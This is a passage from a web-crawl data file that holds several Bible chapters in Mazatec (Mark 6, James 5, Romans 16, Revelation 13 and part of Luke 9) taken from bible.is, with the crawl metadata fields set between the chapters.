k'e̱ nga kijtseè kóho̱tjín. Ta̱nga Jesús ni̱to̱ón kiìchja̱‑la̱, kitsò‑la̱: ―'Ñó t'è‑là takòn, kì tsakjoòn‑jèn, 'a̱n‑ná. 51K'e̱ nga jahas'en chitso Jesús, ni̱to̱ón kisijyò‑ne tjo̱. Tà k'oa̱á komà‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱, 52nga kj'eè kì ndaà fahas'en‑jiìn‑la̱ jè kjo̱xkón xi kis'iìn Jesús ts'e̱ i̱nchra̱jín, koi‑né nga tájaàjiìn tjín ini̱ma̱‑la̱. 53K'e̱ nga jye tsatojiìn ndáchikon, ijchò ján nangui Genesaret; ya̱á tsibít'aà'ñó chitso‑la̱ ya̱ i̱ndiì ndáchikon. 54K'e̱ nga tsitajen yije chitso, jñà xi̱ta̱ xi ya̱ títsa̱jna, ni̱to̱ón kijtseèxkon nga jè Jesús. 55Ti̱koa̱á ni̱to̱ón kiì kóho̱kji nga jngoò itjandiì i̱'nde jè. I̱kjoàn tsibíts'ia̱ xi̱ta̱ nga j'iìko̱‑la̱ ngats'iì xi̱ta̱ xi xk'én; kjisòn‑la̱ na̱chan‑yá ya̱ i̱'nde ñánda nga 'nchré xi̱ta̱ nga bijchó Jesús. 56Ni̱ta̱ ñánda na̱xa̱ndá nga jahas'en Jesús, tsà na̱xa̱ndá jtobá‑né, na̱xa̱ndá iì‑né, i̱nchi̱ya‑né, ko̱ tsà rancho̱‑né, jñà xi̱ta̱ ya̱á sikáyijò jñà xi̱ta̱ xi xk'én ya̱ jngohosen ndi̱yá; i̱kjoàn bítsi'ba‑la̱ na̱s'ín tà jè i̱tjòn nikje‑la̱ tsobà'ñó nga kàtandaà‑ne. Ngats'iì xi̱ta̱ xi kitsobà'ñó nikje‑la̱ kjòndaà yijeé‑ne.\nSan Marcos 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/6","date":"2013-12-07T23:05:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163055862\/warc\/CC-MAIN-20131204131735-00014-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000078678131104}","num_words":1281,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò xi xi̱ta̱ nchi̱ná 'mì‑nò, ti̱ná'yaà 'én xi xán‑nò. Chìhindáyaà ba ba i̱t'aà ts'e̱ kjo̱'in xi si̱kjioón. 2Kjoa̱ nchi̱ná‑nò, ni̱mé chjí‑la̱, tíbi'ndo‑né. Nikje xi kichíkjá, jye nchisíkje cho̱ kixo. 3To̱n oro‑nò ko̱ to̱n plata‑nò jyeé tímachi̱. Jè na̱chrjein k'e̱ nga si̱ndaàjiìn, jñà chi̱‑la̱ ko̱chjeén xi kondra̱ tsa̱jòn. Ko̱ó ni'ín ko̱kà yije yijo‑nò. Nga jñò, titsa̱bincháxkó to̱n na̱s'ín jye tífehet'aà na̱chrjein. 4Jñà xi̱ta̱ chi̱'nda xi kisìxá nangui‑nò, nchikjindáya nga ótsjiya chjí‑la̱ nga jñò kichona̱cha̱n‑là. Nainá xi ts'e̱ yije nga'ñó xi tjín, jyeé kiì'nchré‑la̱ koni s'ín nchikjindáya. 5Jñò, nga i̱ titsa̱jnaà i̱t'aà nangui, ndaà titsa̱jnaà nga ni̱mé chija‑nò, 'bì‑la kjo̱tsja yijo‑nò. Titsa̱nìsiín‑là ini̱ma̱‑nò nga 'bì‑là kjo̱tsja xi síjé k'oa̱á ngaya‑la̱ koni cho̱ xi mìkiì tíjiìn‑la̱ tsà jye ijchò na̱chrjein‑la̱ nga ki̱yá. 6Jñò, tsohònè‑là jé koa̱ kinìk'eèn jñà xi xi̱ta̱ kixi̱ xi mì jé tjín‑la̱. Jñà xi̱ta̱ koi, mì kì komà tsasìko̱ yijo‑la̱. 7Jñò ndí 'ndsè, chíñakjoa̱a kóni skanda k'e̱ nga kjoi̱í ìjngoò k'a Na̱'èn‑ná. K'oa̱s'ín chíña koni s'ín xi̱ta̱ xi síxáko̱ nangui nga koñakjoa̱‑la̱ jè jtsí xi 'ba ítjòn ko̱ xi i̱skan 'ba nga síxáko̱ jñà tsojmì tjè mé‑ne nga ko̱ma koi̱ìxkó‑ne tsojmì tjè‑la̱ xi majchá nga 'ñó chjí‑la̱. 8Jñò, k'oa̱á ti̱s'ín chíñakjoa̱a, 'ñó t'è‑là takòn nga jyeé nchrobá machrañà nga kjoi̱í ìjngoò k'a Na̱'èn‑ná. 9Ndí 'ndsè, kì xki̱ xi ján tsajét'aà‑là xinguio̱o, mé‑ne nga mì kjo̱'in si̱nè‑nò. Nga̱ jè Na̱'èn‑ná jyeé tíjnandaà nga kjoi̱í mé‑ne koi̱ìndaàjiìn‑la̱ xi̱ta̱. 10Ndí 'ndsè, jñò, k'oa̱á s'ín t'e̱en koni s'ín kis'iìn jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá nga kichìkjoa̱ko̱‑la̱ nga kisìkjeiín kjo̱'in koií kjoa̱‑la̱ nga 'én‑la̱ Nainá kiìchja̱ya. 11K'oa̱á s'ín 'ya‑la̱ nga jñà xi̱ta̱ xi chíkjoa̱ko̱‑la̱ kjo̱'in, s'e̱é‑la̱ kjo̱ndaà. Jyeé tíjiìn‑nò nga jè Job k'oa̱á ti̱s'ín kichìkjoa̱ko̱‑la̱ kjo̱'in. Ko̱ jyeé 'yaà mé xi kitsjaà‑la̱ Na̱'èn‑ná k'e̱ nga jyehet'aà‑ne kjoa̱. Na̱'èn‑ná 'ñó ndaà xi̱ta̱, tjín‑la̱ kjo̱hi̱ma̱takòn. 12Jñò ndí 'ndsè, k'e̱ nga 'bioò 'én‑nò, kì yá xi nìkítsa̱jna ítjòn. Kì jè ngajmiì ko̱ nangui, o xi kj'ei̱í tsojmì nìkjeén. Tà k'oa̱á s'ín tixón: \"Jon\", o xi \"Majìn\", mé‑ne nga mì kjo̱'in si̱nè‑nò tsà mìkiì ki̱tasòn. 13Tsà tjín i'nga xi̱ta̱ xinguio̱o xi ba tjín‑la̱, kàtítsi'ba‑la̱ Nainá. Tsà tjín i'nga xi tsja tjín‑la̱, kàtaseè‑la̱ Nainá nga jeya kàtasíkíjna. 14Tsà tjín i'nga xi̱ta̱ xinguio̱o xi xk'én, kàtakinìkjaá xi̱ta̱ jchínga xi tjín‑la̱ xá ya̱ i̱jiìn na̱xa̱ndá‑la̱ Cristo mé‑ne nga katítsi'batjì‑ne ko̱ i̱t'aà ts'e̱ nga'ñó‑la̱ Na̱'èn‑ná kàtasíkájno‑la̱ asìti̱. 15K'e̱ nga bìtsi'batjiò xi̱ta̱, tsà ndaà mokjeiín‑nò, jè xi̱ta̱ xi xk'én ko̱ndaà‑ne. Jè Na̱'èn‑ná si̱ìndaà‑ne nga ko̱ma ko̱sítje̱n‑ne. Tsà jé tjín‑la̱ jcha̱t'aà‑la̱ jé‑la̱. 16Chja̱hatakòn‑là xi̱ta̱ xinguio̱o jé‑nò. Ti̱koa̱ titsi'batjiò xinguio̱o mé‑ne nga ko̱ndaà‑nò. K'e̱ nga jngoò xi̱ta̱ kixi̱ bítsi'ba, tjín‑la̱ nga'ñó nga ki̱tasòn. 17Jè xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá xi ki'mì Elías, k'oa̱á ti̱s'ín xi̱ta̱ koni jñá. 'Ñó kisìjét'aà‑la̱ Nainá nga mì ti̱ jtsí k'oa̱‑ne; ko̱ ján nó osen mì ti̱ kiì ts'a‑ne jtsí. 18Ìjngoò k'a tsibítsi'ba‑la̱ Nainá nga kàt'a jtsí. Ts'aá ìjngoò k'a‑ne jtsí ko̱ jè nangui kòjchá tsojmì tjè. 19Ndí 'ndsè, tsà tjín i'nga xinguio̱o xi chinchat'aàxìn‑la̱ xi kjoa̱ kixi̱, koa̱ tsà jngoò xi̱ta̱ ki̱chja̱‑la̱ nga kàtjanchrobát'aà ìjngoò k'a‑la̱ Nainá, 20jè xi̱ta̱ xi ki̱chja̱‑la̱ nga ke̱èno̱jmí‑la̱ nga ch'o tjín ndi̱yá xi tsó'baya, k'oa̱s'ín kàtasijiìn‑nò nga jngoò xi̱ta̱ tíhochrjekàjiìn kjo̱'in xi ts'e̱ kjoa̱biyaà. 'Ñó kjìn jé jcha̱t'aà‑la̱.\nJacobo 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Jas\/5","date":"2013-12-11T14:22:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164037630\/warc\/CC-MAIN-20131204133357-00068-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":514,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I̱t'aà tsa̱jòn sìnga̱tsja‑nò jè tichjaá Febe, jè xi síchját'aà na̱xa̱ndá‑la̱ Cristo xi ya̱ tíjna Cencrea; 2ndaà chjoétjò xi̱ta̱ jè nga xinguia̱á ma nga ti̱koa̱á mokjeiín‑la̱ i̱t'aà ts'e̱ Na̱'èn‑ná nga k'oa̱á s'ín ok'ìn‑la̱ xi xi̱ta̱‑la̱ Cristo. Ti̱chját'aà‑là ni̱ta̱ mé xi ko̱chjeén‑la̱ nga 'ñó kjín xi̱ta̱ tsasìko̱, ti̱koa̱ 'a̱n kisìchját'aà‑na. 3Ti̱ixat'eì jè Priscila ko̱ Aquila, jñà xi̱ta̱ xi ta̱ña nìxákjoò‑je̱n i̱t'aà ts'e̱ Cristo Jesús. 4Jñà xi̱ta̱ koi kjo̱meè kinìk'en xi kjoa̱ ts'a̱n. Mìtsà tà 'a̱n xi tsjaà‑la̱ kjo̱ndaà ti̱koa̱ tsjá‑la̱ kjo̱ndaà ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi mìtsà xi̱ta̱ judío. 5Ti̱koa̱ ti̱ixat'eì jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi maxkóya ya̱ ni'ya‑la̱ Priscila ko̱ Aquila. Ti̱ixat'eì jè Epeneto xi 'ñó matsjake̱ nga jè kòkjeiín ítjòn‑la̱ i̱t'aà ts'e̱ Cristo ya̱ i̱'nde Acaya. 6Ti̱ixat'eì jè María, chjo̱ón xi 'ñó ndaà kisìxá i̱t'aà tsa̱jòn. 7Ti̱ixat'eì jè Andrónico ko̱ Junias, xi xinguia̱á ma nga ta̱ña tsitsa̱jna'ya‑je̱n nda̱yá. Jñà xi̱ta̱ xi tsibíxáya‑la̱ Cristo 'ñó matsjakeè xi̱ta̱ koi. Ko̱ ìsa̱ ítjòn kijtseèxkon 'én‑la̱ Cristo koni 'a̱n. 8Ti̱ixat'eì jè Amplias, jè xi̱ta̱ xi 'a̱n 'ñó matsjake̱ i̱t'aà ts'e̱ Na̱'èn‑ná. 9Ti̱ixat'eì jè Urbano xi ta̱ña síxáko̱‑na̱ i̱t'aà ts'e̱ Cristo Jesús ko̱ jè Estaquis xi 'a̱n 'ñó matsjake̱. 10Ti̱ixat'eì jè Apeles xi ndaà kixi̱ mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo. Ti̱ixat'eì jñà xi̱ta̱ xíkjín xi ya̱ títsa̱jna ni'ya‑la̱ jè Aristóbulo. 11Ti̱ixat'eì jè Herodión xi xinguia̱á ma. Ti̱ixat'eì jñà xi̱ta̱ xíkjín xi ya̱ títsa̱jna ni'ya‑la̱ Narciso xi Na̱'èn‑ná títsa̱jnako̱. 12Ti̱ixat'eì jè Trifena ko̱ Trifosa jñà íchjín xi 'ñó síxá‑la̱ Na̱'èn‑ná, ko̱ tichjaá Pérsida xi 'ñó matsjachaá nga ti̱koa̱ ndaà síxá‑la̱ Nainá. 13Ti̱ixat'eì jè Rufo xi xó jaàjiìn‑ne Nainá. Ko̱ nea̱‑la̱ xi 'a̱n k'oa̱ ti̱s'ín beètakoàn koni tsà nea̱‑na̱. 14Ti̱ixat'eì jè Asíncrito, jè Flegonte, jè Hermas, jè Patrobas, jè Hermes ko̱ xi̱ta̱ 'ndseé xi ya̱ títsa̱jnako̱. 15Ti̱ixat'eì jè Filólogo, jè Julia, jè Nereo ko̱ ndichja, ko̱ Olimpas, ngats'iì xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo xi ya̱ títsa̱jnako̱. 16Jñò nga jngoò ìjngoò, k'e̱ nga si̱xat'aà xinguio̱o, nguì ko̱ó ini̱ma̱‑nò ti̱ixat'aà xinguio̱o nga ko̱ o̱kixi̱‑nò. Ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi i̱ títsa̱jna síhixat'aà‑nò. 17Ndí 'ndsè k'oa̱á s'ín bìtsi'bà‑nò nga chítsejèn‑là jñà xi̱ta̱ xi síjòya ko̱ xi síkits'ón‑jiìn koni s'ín mokjeiín‑nò, jñà xi kondra̱ f'iì‑la̱ kjo̱hítsjeèn koni s'ín kichìta'yà jñò. Ti̱nchat'aàxìn‑là jñà xi̱ta̱ koi. 18Jñà xi̱ta̱ koi, mìtsà Na̱'èn‑ná Jesucristo síxá‑la̱, tà yijo‑la̱á síxátjì. 'Én sin 'én ndaà chja̱ nga kona̱cha̱n‑la̱ xi̱ta̱ xi mìkiì ndaà machi̱ya‑la̱. 19'A̱n, matsjaá‑na i̱t'aà tsa̱jòn nga jye ndaà na'yà‑nò nga ndaà nìkitasòn. Ta̱nga 'a̱n mejèn‑na nga xi̱ta̱ chji̱ne̱e kàtama i̱t'aà ts'e̱ kjoa̱ xi ndaà tjín. Ko̱ jñà kjoa̱ xi ch'o tjín, kj'eè kiì na'yà‑nò. 20Jè Nainá xi tsjá‑ná kjoa̱'nchán, tà chibaá chija‑la̱ nga ya̱ si̱ìkíjnangui ndso̱koò jè xi̱ta̱ nei̱í mé‑ne nga ko̱ma ki̱nchanè. Kjo̱ndaà‑la̱ Na̱'èn‑ná Jesucristo kàtìjnako̱‑nò. 21Tísíhixat'aà‑nò jè Timoteo xi ta̱ña nìxákjoò‑je̱n, ko̱ Lucio, ko̱ Jasón ko̱ Sosípater jñà xi xi̱ta̱ xinguia̱a ma. 22'A̱n xi Tercio mì‑na̱, xi tìkjiì‑nò xo̱jo̱n jè, i̱t'aà ts'e̱ Na̱'èn‑ná, sìhixat'aà‑nò. 23Ti̱koa̱ tísíhixat'aà‑nò Gayo; 'a̱n i̱í tìjna̱a i̱ ni'ya‑la̱ nga ti̱koa̱ i̱í bixoña ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Cristo. Tísíhixat'aà‑nò Erasto xi̱ta̱ xi bítjò to̱n ts'e̱ ni'ya osen; ti̱koa̱á síhixat'aà‑nò jè 'ndseé xi 'mì Cuarto. 24Ngats'ioò, jè kàtìjnako̱‑nò kjo̱ndaà‑la̱ Jesucristo xi otíxoma‑ná. 25Jeya kàtìjna jè Nainá xi tíjnako̱‑nò. Jè xi komà tsjá‑nò nga'ñó ti̱koa̱ komà kixi̱ si̱ìkítsa̱jna‑nò koni tsò 'én ndaà‑la̱ Nainá xi 'a̱n okoòya‑nò ko̱ jñà 'én xi nokjoàyajiìn‑nò i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo. Nga jyeé tí'ya‑la̱ kjoa̱ xi tjí'ma‑la̱ Nainá skanda sa̱ kjòtseé; 26ta̱nga i̱'ndei̱ jye ki'ya‑la̱ koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá xi kiskiì jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá kjòtseé. K'oa̱á s'ín tíchja̱ kjo̱tíxoma‑la̱ Nainá xi tíjna ni̱ta̱ mé na̱chrjein‑nè. Jè kjoa̱'ma‑la̱ Nainá, jye kis'eno̱jmí yije‑la̱ ngats'iì xi̱ta̱ na̱xa̱ndá xi tjín nga tíjtsa i̱sò'nde mé‑ne nga kàtasíkitasòn‑ne koni s'ín mokjeiín‑la̱. 27Jè Nainá xi ta̱jngoò ma‑ne, xi tjín‑la̱ kjoa̱chji̱ne̱, kàtas'e‑la̱ kjoa̱ jeya i̱t'aà ts'e̱ Jesucristo ni̱ta̱ mé na̱chrjein‑ne. K'oa̱s'ín kàtama.\nRomanos 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/16","date":"2013-12-13T21:07:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164992771\/warc\/CC-MAIN-20131204134952-00010-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":609,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.338,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kìjtseè jngoaà cho̱ je xi ch'o kji xi itjo‑mijìn‑jiìn‑ne ndáchikon xi itoò ma sko̱; te ma nchra̱já‑la̱; jngoò corona i̱tsé tjí'a nga ìjngoò ìjngoò nchra̱já‑la̱; jñà sko̱ tjít'aà 'ín xi Nainá chja̱jno‑la̱. 2Jè cho̱ je xi ch'o kji xi 'a̱n kìjtseè, k'oa̱á kji koni kjoàn xa indo; k'oa̱á kjoàn ndso̱ko̱ koni ts'e̱ cho̱ oso; k'oa̱á kji tso'ba koni tso'ba xa. Jè nga'ñó xi tjín‑la̱ jè ye̱, ko̱ jè i̱'nde‑la̱ ñánda tíhotíxoma, ko̱ jè kjo̱tíxoma‑la̱ xi 'ñó tjín, jè cho̱ ts'e̱n kjònga̱tsja. 3'Ñó tse kitiì jngoò sko̱ jè cho̱ je xi ch'o kji; k'oa̱á kji komà koni tsà jye ki̱yá; ta̱nga jè sko̱ xi 'ñó tse kitiì, kjòndaà‑ne. Ngats'iì xi̱ta̱ xi tjín nga tíjtsa i̱sò'nde, tà kjòxkón‑la̱ kjoa̱ xi komà, ko̱ ya̱á kiìtji̱ngui‑la̱ jè cho̱ ts'e̱n. 4Ngats'iì xi̱ta̱ kijtseèxkón jè ye̱, nga jè ye̱ kitsjaà‑la̱ kjo̱tíxoma xi tísíkjeén jè cho̱ ts'e̱n. Jñà xi̱ta̱ ti̱koa̱á kijtseèxkón jè cho̱ je xi ch'o kji. I̱kjoàn kitsò: ―Tsjìn ìjngoò ìsa̱ koni jè cho̱ je xi ch'o kji; mì yá tjín xi ki̱chìkjoa̱‑la̱ nga ska̱àn‑ko̱. 5Jè cho̱ ts'e̱n kitjò'ndeé‑la̱ nga kiìchja̱ 'én xi 'nga síkíjna yijo‑la̱ nga chja̱jno‑la̱ Nainá. Ti̱koa̱á kits'iì'nde‑la̱ nga ichán jò sá ko̱tìxoma. 6K'oa̱á s'ín kis'iìn; kiìchja̱jno‑la̱ Nainá, kiìchja̱jno‑la̱ 'ín‑la̱ Nainá ko̱ Ni'ya Tsjeè‑la̱, ko̱ kiìchja̱jno‑la̱ jñà xi̱ta̱ xi títsa̱jna ngajmiì. 7Ti̱koa̱ kitjò'ndeé‑la̱ nga kiskaàn‑ko̱ xi̱ta̱‑la̱ Nainá skanda kó nga kisìkijne‑la̱. I̱kjoàn kits'iì‑la̱ kjo̱tíxoma i̱t'aà ts'e̱ ngats'iì tje̱‑la̱ xi̱ta̱, ko̱ i̱t'aà ts'e̱ ngats'iì na̱xa̱ndá xi tjín, ko̱ i̱t'aà ts'e̱ ngats'iì xi̱ta̱ xi chja̱ ngats'iì 'én xi tjín, ko̱ i̱t'aà ts'e̱ xi̱ta̱ xi tjín nga ìjngoò ìjngoò nangui xi tjín i̱sò'nde. 8Ngats'iì xi̱ta̱ xi tjín nga tíjtsa i̱sò'nde, jè cho̱ ts'e̱n skoe̱xkón, jñà ngats'iì xi̱ta̱ xi mìkiì tjít'aà 'ín‑la̱ nga ti̱sa̱ tàts'en‑la̱ kjoa̱, jè xo̱jo̱n xi ts'e̱ kjoa̱binachon xi ts'e̱ Orrè‑la̱ Nainá xi k'en ngajo‑la̱ xi̱ta̱. 9Ndaà ti̱ná'yaà koni xan‑nò. 10Jè xi nda̱yá kji̱s'en, k'oa̱á s'ín tjínè‑la̱ nga nda̱yá kjoi̱. Jè xi ki̱cha̱ ndojò ki̱yá‑ne, k'oa̱á s'ín tjínè‑la̱ nga ki̱cha̱ ndojò ki̱yá‑ne. I̱í mochjeén nga kixi̱ kítsa̱jna kjit'aà ko̱ nga ki̱chìkjoa̱ko̱‑la̱ kjo̱'in jñà xi̱ta̱‑la̱ Nainá. 11Xi komà i̱skan kìjtseè ìjngoaà cho̱ je xi ch'o kji xi itjo mijìn‑ne i̱jiìn nangui. Jò ma nchra̱já‑la̱ xi k'oa̱ kjoàn koni nchra̱já‑la̱ orrè. K'oa̱á s'ín chja̱ koni jngoò ye̱ xi 'ñó je kji. 12K'oa̱á s'ín tjín‑la̱ kjo̱tíxoma koni jè cho̱ je xi ch'o kji xi tíjna ítjòn nga ya̱ síjna nguixko̱n. Bínè‑la̱ xi̱ta̱ xi tjín i̱sò'nde nga kàteèxkón jè cho̱ je xi ch'o kji xi tíjna ítjòn, jè xi kjòndaà‑ne ñánda 'ñó tse kitiì jngoò sko̱. 13Ti̱koa̱á maá‑la̱ kis'iìn kjo̱xkón xi 'in tjín. Skanda maá‑la̱ kisìkjinchrobà‑jen ni'ín xi ngajmiì nchrobá‑ne skanda i̱t'aà nangui nga nguixko̱n xi̱ta̱. 14Kiskoòna̱cha̱n‑la̱ xi̱ta̱ xi tjín i̱sò'nde, koií kjoa̱‑la̱ jñà kjo̱xkón xi kits'iì'nde‑la̱ nga kis'iìn nguixko̱n cho̱ je xi ch'o kji xi tíjna ítjòn. Tsibít'in‑la̱ xi̱ta̱ nga kàtíndaà jngoò xkósòn‑la̱ jè cho̱ xi tíjna ítjòn xi ki̱cha̱ ndojò kitiì‑ne sko̱ ta̱nga jaáya‑la̱. 15Jè cho̱ xi ma‑ne jò kits'iì‑la̱ nga'ñó nga kisìkíjnakon jè xkósòn‑la̱ cho̱ xi kisindaà, mé‑ne nga ko̱ma ki̱chja̱‑ne ko̱ ngats'iì xi̱ta̱ xi mìkiì skoe̱xkón si̱ìk'en‑ne. 16K'oa̱á s'ín tsibínè‑la̱ nga kàtasit'aà chi̱ba̱‑la̱ jñà xi xi̱ta̱ i̱xti, jñà xi̱ta̱ jchínga, jñà xi̱ta̱ nchi̱ná ko̱ jñà xi̱ta̱ i̱ma̱, jñà xi̱ta̱ xi títsa̱jnandei̱í ko̱ xi chi̱'nda títsa̱jna'ñó. Ya̱á kàtasit'aà chi̱ba̱‑la̱ ya̱ tsja kixi̱ ko̱ tsà ya̱ i̱tjòn tjen‑la̱. 17Ni̱jngoò xi̱ta̱ xi ma ko̱tse tsojmì, ni̱jngoò xi ma ko̱tìjna tsà mìkiì tjít'aà chi̱ba̱‑la̱ ko̱ tsà jè 'ín‑la̱ cho̱ mìkiì tjít'aà‑la̱ ko̱ tsà mìkiì tjít'aà‑la̱ número ts'e̱ 'ín‑la̱ cho̱. 18I̱jndé mochjeén kjoa̱chji̱ne̱‑la̱ xi̱ta̱; jè xi ndaà machi̱ya‑la̱, kàtíxke̱ya número‑la̱ cho̱ je xi ch'o kji; ts'e̱ xi̱ta̱‑né. Jè número: joòn sìndo̱ ko̱ jàn kaàn ko̱ joòn.\nApocalipsis 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/13","date":"2013-12-07T23:17:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163055862\/warc\/CC-MAIN-20131204131735-00016-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":588,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.332,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús kiìchja̱‑la̱ xi̱ta̱‑la̱ xi tejò ma‑ne xi jè tsibíxáya‑la̱; kitsjaà‑la̱ nga'ñó ko̱ kjo̱tíxoma nga ko̱chrjejiìn yije ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn yijo‑la̱ xi̱ta̱; ti̱koa̱ ko̱ma‑la̱ si̱ìndaà‑ne xi̱ta̱ xi ch'in xk'én tjín‑la̱. 2Kisìkasén nga ki̱chja̱ya kó s'ín otíxoma Nainá, ti̱koa̱ si̱ìndaà‑ne xi̱ta̱ xi ch'in tjín‑la̱. 3Kitsò‑la̱: ―Ni̱mé xi ch'aà xi ts'e̱ ndi̱yá; kì yá garrote ch'aà; kì na̱'yaá ch'aà; kì i̱nchra̱jín ch'aà; kì to̱ón ch'aà; ti̱koa̱ kì jò na̱chro̱ ch'aà. 4Ni̱ta̱ ñánda ni'ya nga kijchoò, ya̱á ti̱tsa̱jna, skanda k'e̱ ki̱tjo̱o‑nò. 5Tsà jngoò na̱xa̱ndá ñánda kijchoò, tsà mìkiì skoétjò‑nò, titjo̱jñoò, titsajneè chijo‑la̱ ndso̱koò nga kàteè kjoa̱ koi koni jngoò seña, nga jñò, mì ti̱ kiì si̱s'in‑là; kjo̱'iín s'e̱‑la̱ nga mìkiì mokjeiín‑la̱. 6Itjo xi̱ta̱ koi, xki̱ xi ján na̱xa̱ndá kiì; kisìka'bí 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo; ti̱koa̱á kisìndaà‑ne xi̱ta̱ xi ch'in tjín‑la̱ nga kjijndà na̱xa̱ndá. 7Jè xi̱ta̱xá ítjòn xi 'mì Herodes, k'e̱ nga kiì'nchré ngats'iì kjoa̱ xi tís'ín Jesús, mìkiì beè kó s'ín si̱ìkítsjeèn, nga tjín i'nga xi̱ta̱ xi tsò: \"Juan, jyeé jaáya‑la̱.\" 8Xi̱ta̱ xi i'nga tsò: \"Jè Elías xi tsatsejèn ìjngoò k'a‑ne.\" Ti̱koa̱á xi̱ta̱ xi kj'ei̱í tsò: \"Jaáya jngoò‑la̱ xi̱ta̱ jchínga xi kiìchja̱ ngajo‑la̱ Nainá.\" 9Kitsò Herodes: ―'A̱n sobà tsibìxá‑la̱ xi̱ta̱ xi kisìk'en Juan nga tsatesin. ¿Yá xi̱ta̱‑ne jè xi ko̱s'ín tís'ín kjoa̱ xi 'nchrè? K'oa̱á ma‑ne nga mejèn‑la̱ skoe̱xkon Jesús. 10K'e̱ nga j'iì ìjngoò k'a‑ne jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús, tsibéno̱jmí ngats'iì kjoa̱ xi kis'iìn. Jesús, k'e̱é kiìko̱ jngoò i̱'nde ts'e̱ na̱xa̱ndá Betsaida ñánda tsjìn xi̱ta̱. 11Jñà xi̱ta̱, k'e̱ nga kiì'nchré nga jye kiì Jesús, kiìtji̱ngui‑la̱; k'e̱ nga ijchòtji̱ngui‑la̱, Jesús, kisìs'in‑la̱, tsohóko̱, tsibéno̱jmí‑la̱ kó s'ín otíxoma Nainá, ti̱koa̱ kisìndaà‑ne xi̱ta̱ xi mochjeén‑la̱ nga ko̱ndaà‑ne. 12K'e̱ nga jye tímahixòn, jñà xi̱ta̱‑la̱ xi tejò ma‑ne, ijchò kinchat'aà‑la̱ Jesús, kitsò‑la̱: ―Ko̱t'ìn‑la̱ ngats'iì xi̱ta̱ kàtjì‑ne mé‑ne nga kàtasíkjáya ya̱ na̱xa̱ndá chrañàt'aà ko̱ rancho̱ ñánda sa̱kò‑la̱ xi ski̱ne̱. I̱ i̱'nde ñánda titsa̱jnaá, i̱t'aà xìn‑né, ni̱mé tjín. 13Jesús kitsò‑la̱: ―Tjiì‑là jñò xi ko̱kje̱n xi̱ta̱ koi. Jñà xi̱ta̱‑la̱ kitsò: ―Nìmé tjín‑naje̱n, tà 'òn ma i̱nchra̱jín‑naje̱n koa̱ jò ma ti̱n, tà jè‑la tsà konguí kindaà‑la̱je̱n xi ko̱kje̱n ngats'iì xi̱ta̱ koi. 14Maá‑la̱ tsà 'òn jmiì xi nguì xi̱ta̱ x'i̱n. Jesús kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: ―Ti̱kítsa̱jnajtión, icháte icháte ti̱kítsa̱jna‑nò. 15K'oa̱á s'ín kisìkítsa̱jna kóho̱tjín. 16Jesús, kiskoé jñà i̱nchra̱jín xi 'òn ma‑ne ko̱ jñà ti̱n xi jò ma‑ne; i̱kjoàn kiskoòtsejèn ngajmiì; kitsjaà‑la̱ kjo̱ndaà Nainá; i̱kjoàn kisìxkoa̱ya i̱nchra̱jín, k'e̱é kitsjaà‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱ nga kisìka'bí‑la̱ jñà xi̱ta̱ xi kjìn ma‑ne. 17Tsakjèn yije kóho̱tjín xi̱ta̱, kó nga kjòskiì; k'e̱é tsibíxkó‑ne jñà xi tsiningui‑ne; nguì tejò 